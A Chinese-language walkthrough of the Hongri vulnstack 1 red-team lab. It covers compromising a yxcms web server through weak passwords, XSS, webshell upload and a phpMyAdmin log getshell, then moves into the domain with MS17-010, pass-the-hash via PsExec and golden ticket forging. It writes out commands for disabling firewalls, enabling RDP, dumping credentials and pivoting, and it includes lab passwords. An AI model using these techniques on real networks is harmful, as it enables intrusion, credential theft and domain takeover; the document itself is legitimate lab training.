文章目录
0x00 环境搭建
靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019
。
配置网卡,仅主机模式192.168.10.0
网段模拟内网,192.168.43.0
网段模拟外网:
Web服务器:windows 7
外网网卡IP(桥接):192.168.43.17
内网网卡IP(仅主机):192.168.10.130
域成员:windows server 2003
内网网卡IP(仅主机):192.168.10.131
域控服务器:windows server 2008
内网网卡IP(仅主机):192.168.10.132
攻击机器:kali 2020.4
外网网卡IP(桥接):192.168.43.84
攻击拓扑如下:
0x01 信息收集
端口探测
拿到站点之后,先找到其真实ip地址(这里直接有了),探测其端口:
发现开启了80端口(http服务)和3306端口(mysql服务)。
目录扫描
访问80端口,发现phpstudy探针,存在大量信息泄露:
目录扫描,发现网站备份文件和phpmyadmin后台:
下载网站备份文件,从robots.txt中发现该网站是yxcms:
访问http://192.168.43.17/yxcms/,发现泄露网站登录后台地址和登录密码:
0x02 漏洞利用
漏洞1(后台弱口令+信息泄露)
弱口令登录网站后台,泄露敏感信息:
漏洞2(前台存储型XSS)
在留言本功能注入xss语句:
在后台留言本功能中成功弹窗:
审核通过后前台也会有弹窗:
漏洞3(后台文件上传)
在后台前台模板模块添加新模板写入一句话木马:
通过之前的备份文件可知文件保存目录:http://192.168.43.17/yxcms/protected/apps/default/view/default/shell.php?8=phpinfo();
蚁剑链接getshell:
漏洞4(任意文件删除)
访问http://192.168.43.17/yxcms/index.php?r=admin/files/del&fname=/…/…/phpinfo.php删除刚刚扫到的phpinfo文件:
删除前后对比:
漏洞5(后台SQL注入)
后台碎片列表删除操作存在sql盲注,利用dnslog外带数据,但是没复现成功,后台本身也可以执行sql语句。
详情参考yxcms app 1.4.6 漏洞集合:https://www.freebuf.com/column/162886.html
漏洞6(phoMyAdmin弱口令)
扫到phpMyAdmin登录入口,弱口令 root/root 成功登录:
漏洞7(phpMyAdmin开启全局日志getshell)
进入phpMyAdmin发现有权限开启日志保存状态:
执行sql语句,写入一句话木马:
访问木马地址,执行成功:
蚁剑连接成功:
0x03 内网搜集
域信息收集
蚁剑连接传大马,上线CS提权:
查看网卡信息,发现内网ip:
查看是否有域,以及当前域:net config workstation
查看域内所有用户列表:net user /domain
查看域成员计算机列表:net group "domain computers" /domain
本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH。
查看域管理员用户:net group "domain admins" /domain
域控制用户为 OWA。
使用lodan扫描内网网络:run lodan 192.168.10.0/24 OnlinePC
hashdump看一下密码:
再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019:
内网漏洞扫描
注册表开启3389端口并关闭防火墙:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh firewall set opmode disable # winsows server 2003 之前
netsh advfirewall set allprofiles state off # winsows server 2003 之后
远程登陆发现目标主机有一个现成的nmap工具,可以进一步针对内网主机进行漏洞信息收集:nmap --script=vuln 192.168.10.0/24
发现域成员主机存在MS08-067
和MS17-010
漏洞:
而域控主机存在MS17-010
漏洞:
0x04 横向渗透
MSF和CS联动
MSF新建监听,payload使用reverse_http
:
CS设置监听器,payload使用foreign http
:
选择这个监听器:
msf成功转接到cs的shell:
路由转发
查看路由信息:run get_local_subnets
添加一条路由:run autoroute -s 192.168.10.0/24
代理转发
也可以通过使用CS设置socks代理模块配置代理,更好用一点(并修改etc/proxychains.conf
文件):
刚才收集到域成员主机存在MS08-067
和MS17_010
漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp
类型展开攻击:
成功拿到域成员的会话,但是马上就会断掉,无法使用,网上找不到不蓝屏的方法,但使用ms17-010-command
模块可以成功执行命令:
接下来就可以关闭防火墙开启3389添加账户远程登录了。
0x05 PTH+黄金票据
哈希传递
计算机中的认证,不是根据原始密码认证,而是根据密文认证的。而通过传递密文成功登录就是哈希传递。
用win7这台机器中转一个监听器:
生成一个木马:
将生成的木马文件和PsExec.exe
上传到win7主机,远程登录win7主机执行:shell C:\PsExec64.exe -accepteula \\192.168.10.132 -u administrator -p hongrisec@2003 -d -c C:\beacon1.exe
传到了域控主机但是没能执行,建立ipc管道,用psexec.exe连接cmd:net use \\192.168.10.132\ipc$ "hongrisec@2003" /user:god\administrator
执行beacon.exe文件:
cs成功上线域控主机:
构造黄金票据
拿到域控主机后,就可以伪造黄金票据了,先选择hashdump得到kebtgt账户的NTLM值:
然后用用mimikatz找到一个合法的sid:
然后就可以构造黄金票据了,用户名任意,域名为当前域名,sid和hash值就是刚才获取到的:
创建成功效果如下:
可以使用mimikatz kerberos::list
命令查看当前系统的票据:
探测一下当前域中的主机,字体没有加粗代表主机未上线:
加载票据访问,选择监听器后执行,主机成功上线:
最后的枢纽图:
补充金票银票的区别:
金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key
和TGT
,而Logon Session Key
并不会保存在KDC中,krbtgt 的 NTLM Hash
又是固定的,所以只要得到 krbtgt 的 NTLM Hash
,就可以伪造TGT
和Logon Session Key
来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash
条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名
AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。
TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。
银票SILVER TICKET:
如果说黄金票据是伪造的TGT
,那么白银票据就是伪造的ST
。
在Kerberos认证的第三步,Client 带着ST
和Authenticator3
向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key
解密ST
,从而获得Session Key
。通过Session Key
解密Authenticator3
,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST
,且不会经过KDC
,但是伪造的门票只对部分服务起作用。
特点:不需要与KDC进行交互、需要 server 的NTLM hash
区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
总结
整体流程如下:
信息收集 => 信息泄露 => 漏洞利用 => 后台文件上传和phpMyAdmin开启全局日志getshell => 拿到wiin7主机 => 上传大马上线CS => 内网信息收集 => MS17_010利用 => 可以在win2003域成员主机执行命令 => 哈希传递拿到域控主机 => 构造黄金票据维权
一次入门级别的内网渗透,整体流程比较简单,学习了CS和MSF联动使用和域渗透的一些操作,靶机环境比较复杂容易出现不少问题,总结经验以后就方便解决了。官方提示的很多可利用点都还没复现到,如redis getshell但是默认无法访问没找到什么方法,MySQL提权、基础服务弱口令探测及深度利用之powershell、利用DomainFronting实现对beacon的深度隐藏和入侵后的痕迹清理都没复现到,之后的靶场再做补充吧。
参考链接:
https://www.freebuf.com/column/162886.html(yxcms app 1.4.6 漏洞集合)
https://www.icode9.com/content-4-914703.html(红日ATT&CK红队评估实战靶场1)
https://blog.csdn.net/qq_32731075/article/details/118193887(内网渗透–CS伪造黄金票据与白银票据)
https://www.cnblogs.com/liliyuanshangcao/p/13743389.html(ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程)
https://blog.csdn.net/qq_38626043/article/details/117629847(ATT&CK实战系列——红队实战(一))